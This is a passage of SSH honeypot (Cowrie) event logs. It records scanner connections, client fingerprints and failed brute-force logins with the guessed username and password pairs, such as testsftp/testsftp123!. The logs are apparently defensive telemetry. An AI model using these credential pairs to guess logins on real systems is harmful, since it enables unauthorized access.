m","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:52.491409Z","src_ip":"201.245.201.162","session":"4e1d46bc8b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dp","password":"dp1234","message":"login attempt [dp/dp1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:52.860416Z","src_ip":"201.245.201.162","session":"4e1d46bc8b28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:53.947052Z","src_ip":"201.245.201.162","session":"4e1d46bc8b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":46528,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0f27f3c178f","protocol":"ssh","message":"New connection: 14.225.2.125:46528 (159.203.135.109:22) [session: a0f27f3c178f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:03.065643Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:03.338598Z","src_ip":"14.225.2.125","session":"a0f27f3c178f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":46530,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b78b7d06d27","protocol":"ssh","message":"New connection: 14.225.2.125:46530 (159.203.135.109:22) [session: 6b78b7d06d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:03.588344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:03.593247Z","src_ip":"14.225.2.125","session":"6b78b7d06d27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:03.856516Z","src_ip":"14.225.2.125","session":"6b78b7d06d27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guoshufei","password":"guoshufei","message":"login attempt [guoshufei/guoshufei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:04.646499Z","src_ip":"14.225.2.125","session":"6b78b7d06d27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:05.911031Z","src_ip":"14.225.2.125","session":"6b78b7d06d27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.117.56.152","src_port":60244,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb8493e53efb","protocol":"ssh","message":"New connection: 103.117.56.152:60244 (159.203.135.109:22) [session: bb8493e53efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:14.178495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:14.183001Z","src_ip":"103.117.56.152","session":"bb8493e53efb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:14.426673Z","src_ip":"103.117.56.152","session":"bb8493e53efb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testsftp","password":"testsftp123!","message":"login attempt [testsftp/testsftp123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:15.439801Z","src_ip":"103.117.56.152","session":"bb8493e53efb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:16.685115Z","src_ip":"103.117.56.152","session":"bb8493e53efb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":36376,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1d63048714c","protocol":"ssh","message":"New connection: 200.225.246.102:36376 (10.17.0.5:22) [session: b1d63048714c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:43.495528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:43.499602Z","src_ip":"200.225.246.102","session":"b1d63048714c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:43.629385Z","src_ip":"200.225.246.102","session":"b1d63048714c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"miles","password":"miles","message":"login attempt [miles/miles] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:44.176655Z","src_ip":"200.225.246.102","session":"b1d63048714c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:55:45.307452Z","src_ip":"200.225.246.102","session":"b1d63048714c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":51036,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa7e31230290","protocol":"ssh","message":"New connection: 2.57.122.210:51036 (159.203.135.109:22) [session: fa7e31230290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:28.985724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:28.992626Z","src_ip":"2.57.122.210","session":"fa7e31230290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:29.096572Z","src_ip":"2.57.122.210","session":"fa7e31230290","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:29.454039Z","src_ip":"2.57.122.210","session":"fa7e31230290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:30.560361Z","src_ip":"2.57.122.210","session":"fa7e31230290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.26.135.100","src_port":50946,"dst_ip":"159.203.135.109","dst_port":22,"session":"f13102272ed3","protocol":"ssh","message":"New connection: 20.26.135.100:50946 (159.203.135.109:22) [session: f13102272ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:37.994637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:37.999689Z","src_ip":"20.26.135.100","session":"f13102272ed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:38.089177Z","src_ip":"20.26.135.100","session":"f13102272ed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex123","message":"login attempt [plex/plex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:38.469562Z","src_ip":"20.26.135.100","session":"f13102272ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:39.574060Z","src_ip":"20.26.135.100","session":"f13102272ed3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.245.201.162","src_port":55301,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b0c88e05f7a","protocol":"ssh","message":"New connection: 201.245.201.162:55301 (159.203.135.109:22) [session: 3b0c88e05f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:54.750318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:54.753188Z","src_ip":"201.245.201.162","session":"3b0c88e05f7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:54.840225Z","src_ip":"201.245.201.162","session":"3b0c88e05f7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testsftp","password":"testsftp123!","message":"login attempt [testsftp/testsftp123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:55.219946Z","src_ip":"201.245.201.162","session":"3b0c88e05f7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.253","src_port":36476,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1b66da3df16","protocol":"ssh","message":"New connection: 185.196.10.253:36476 (159.203.135.109:22) [session: d1b66da3df16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:56.284338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:56.288828Z","src_ip":"185.196.10.253","session":"d1b66da3df16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:56.310017Z","src_ip":"201.245.201.162","session":"3b0c88e05f7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:56.399116Z","src_ip":"185.196.10.253","session":"d1b66da3df16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vendas","password":"vendas","message":"login attempt [vendas/vendas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:56.872788Z","src_ip":"185.196.10.253","session":"d1b66da3df16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:56:57.985395Z","src_ip":"185.196.10.253","session":"d1b66da3df16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.152.101","src_port":56056,"dst_ip":"159.203.135.109","dst_port":22,"session":"49f7f4291ba8","protocol":"ssh","message":"New connection: 103.52.152.101:56056 (159.203.135.109:22) [session: 49f7f4291ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:57:00.840298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:57:00.844651Z","src_ip":"103.52.152.101","session":"49f7f4291ba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:57:01.053635Z","src_ip":"103.52.152.101","session":"49f7f4291ba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"modify","password":"12345678","message":"login attempt [modify/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:57:01.909675Z","src_ip":"103.52.152.101","session":"49f7f4291ba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:57:03.119368Z","src_ip":"103.52.152.101","session":"49f7f4291ba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47170,"dst_ip":"159.203.135.109","dst_port":22,"session":"7249b3407ed8","protocol":"ssh","message":"New connection: 195.178.110.218:47170 (159.203.135.109:22) [session: 7249b3407ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:57:04.896930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:57:04.901232Z","src_ip":"195.178.110.218","session":"7249b3407ed8","protocol":"ssh"}
